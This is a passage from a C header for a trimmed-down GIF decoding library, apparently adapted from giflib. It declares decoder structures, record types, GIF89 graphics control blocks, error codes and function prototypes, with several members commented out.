    InputFunc Read;     /* function to read gif input (TVT) */
//    OutputFunc Write;   /* function to write gif output (MRB) */
    GifByteType Buf[256];
    unsigned char OutBuf[500];
    int OutBufLen;
    /* Compressed input is buffered here. */
    GifByteType Stack[LZ_MAX_CODE];
    /* Decoded pixels are stacked here. */
    GifByteType Suffix[LZ_MAX_CODE + 1];
    /* So we can trace the codes. */
    GifPrefixType Prefix[LZ_MAX_CODE + 1];
//    bool gif89;
} GifFilePrivateType;

typedef struct GifFileType {
    GifWord SWidth, SHeight;         /* Size of virtual canvas */
//    GifWord SColorResolution;        /* How many colors can we generate? */
    GifWord SBackGroundColor;        /* Background color for virtual canvas */
//    GifByteType AspectByte;         /* Used to compute pixel aspect ratio */
    ColorMapObject *SColorMap;
    /* Global colormap, NULL if nonexistent. */
    uint_fast32_t ImageCount;
    /* Number of current image (both APIs) */
    GifImageDesc Image;
    /* Current image (low-level API) */
    SavedImage *SavedImages;         /* Image sequence (high-level API) */
//    int ExtensionBlockCount;         /* Count extensions past last image */
//    ExtensionBlock *ExtensionBlocks; /* Extensions past last image */
    int Error;
    /* Last error condition reported */
    void *UserData;
    /* hook to attach user data (TVT) */
    GifFilePrivateType *Private;                   /* Don't mess with this! */
} GifFileType;

//#define GIF_ASPECT_RATIO(n)    ((n)+15.0/64.0)

typedef enum {
    UNDEFINED_RECORD_TYPE,
    SCREEN_DESC_RECORD_TYPE,
    IMAGE_DESC_RECORD_TYPE, /* Begin with ',' */
            EXTENSION_RECORD_TYPE, /* Begin with '!' */
            TERMINATE_RECORD_TYPE   /* Begin with ';' */
} GifRecordType;

/* func type to read gif data from arbitrary sources (TVT) */
typedef uint_fast8_t (*InputFunc)(GifFileType *, GifByteType *, uint_fast8_t);

/******************************************************************************
 GIF89 structures
******************************************************************************/

typedef struct GraphicsControlBlock {
    uint_fast8_t DisposalMode;
#define DISPOSAL_UNSPECIFIED      0       /* No disposal specified. */
#define DISPOSE_DO_NOT            1       /* Leave image in place */
#define DISPOSE_BACKGROUND        2       /* Set area too background color */
#define DISPOSE_PREVIOUS          3       /* Restore to previous content */
//    bool UserInputFlag;      /* User confirmation required before disposal */
    uint_fast32_t DelayTime;
    /* pre-display delay in 0.01sec units */
    int TransparentColor;    /* Palette index for transparency, -1 if none */
#define NO_TRANSPARENT_COLOR    -1
} GraphicsControlBlock;

/******************************************************************************
 GIF decoding routines
******************************************************************************/

/* Main entry points */
GifFileType *DGifOpen(void *userPtr, InputFunc readFunc, int *Error);

/* new one (TVT) */
int DGifCloseFile(GifFileType *GifFile);

#define D_GIF_ERR_OPEN_FAILED    101    /* And DGif possible errors. */
#define D_GIF_ERR_READ_FAILED    102
#define D_GIF_ERR_NOT_GIF_FILE   103
#define D_GIF_ERR_NO_SCRN_DSCR   104
#define D_GIF_ERR_NO_IMAG_DSCR   105
#define D_GIF_ERR_NO_COLOR_MAP   106
#define D_GIF_ERR_WRONG_RECORD   107
#define D_GIF_ERR_DATA_TOO_BIG   108
#define D_GIF_ERR_NOT_ENOUGH_MEM 109
#define D_GIF_ERR_CLOSE_FAILED   110
#define D_GIF_ERR_NOT_READABLE   111
#define D_GIF_ERR_IMAGE_DEFECT   112
#define D_GIF_ERR_EOF_TOO_SOON   113

#define E_GIF_SUCCEEDED          0
#define E_GIF_ERR_OPEN_FAILED    1    /* And EGif possible errors. */
#define E_GIF_ERR_WRITE_FAILED   2
#define E_GIF_ERR_HAS_SCRN_DSCR  3
#define E_GIF_ERR_HAS_IMAG_DSCR  4
#define E_GIF_ERR_NO_COLOR_MAP   5
#define E_GIF_ERR_DATA_TOO_BIG   6
#define E_GIF_ERR_NOT_ENOUGH_MEM 7
#define E_GIF_ERR_DISK_IS_FULL   8
#define E_GIF_ERR_CLOSE_FAILED   9
#define E_GIF_ERR_NOT_WRITEABLE  10

/* These are legacy.  You probably do not want to call them directly */
int DGifGetScreenDesc(GifFileType *GifFile);

int DGifGetRecordType(GifFileType *GifFile, GifRecordType *GifType);

int DGifGetImageDesc(GifFileType *GifFile, bool changeImageCount);

int DGifGetLine(GifFileType *GifFile, GifPixelType *GifLine, uint_fast32_t GifLineLen);

int DGifGetExtension(GifFileType *GifFile, int *GifExtCode,
                     GifByteType **GifExtension);

int DGifGetExtensionNext(GifFileType *GifFile, GifByteType **GifExtension);

int DGifGetCodeNext(GifFileType *GifFile, GifByteType **GifCodeBlock);

int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen);
/*****************************************************************************
 Everything below this point is new after version 1.2, supporting `slurp
 mode' for doing I/O in two big belts with all the image-bashing in core.
******************************************************************************/

/******************************************************************************
 Color map handling from gif_alloc.c
******************************************************************************/

extern ColorMapObject *GifMakeMapObject(uint_fast8_t BitsPerPixel,
                                        const GifColorType *ColorMap);

extern void GifFreeMapObject(ColorMapObject *Object);

//extern int GifBitSize(int n);
#include <sys/types.h>
#include <errno.h>
#include <stdlib.h>
#include <limits.h>

/******************************************************************************
 Support for the in-core structures allocation (slurp mode).              
******************************************************************************/

//extern void GifFreeExtensions(int *ExtensionBlock_Count,
//                  ExtensionBlock **ExtensionBlocks);
extern void GifFreeSavedImages(GifFileType *GifFile);

/******************************************************************************
 5.x functions for GIF89 graphics control blocks
******************************************************************************/

int DGifExtensionToGCB(const size_t GifExtensionLength,
                       const GifByteType *GifExtension,
                       GraphicsControlBlock *GCB);

#endif /* _GIF_LIB_H */

/* end */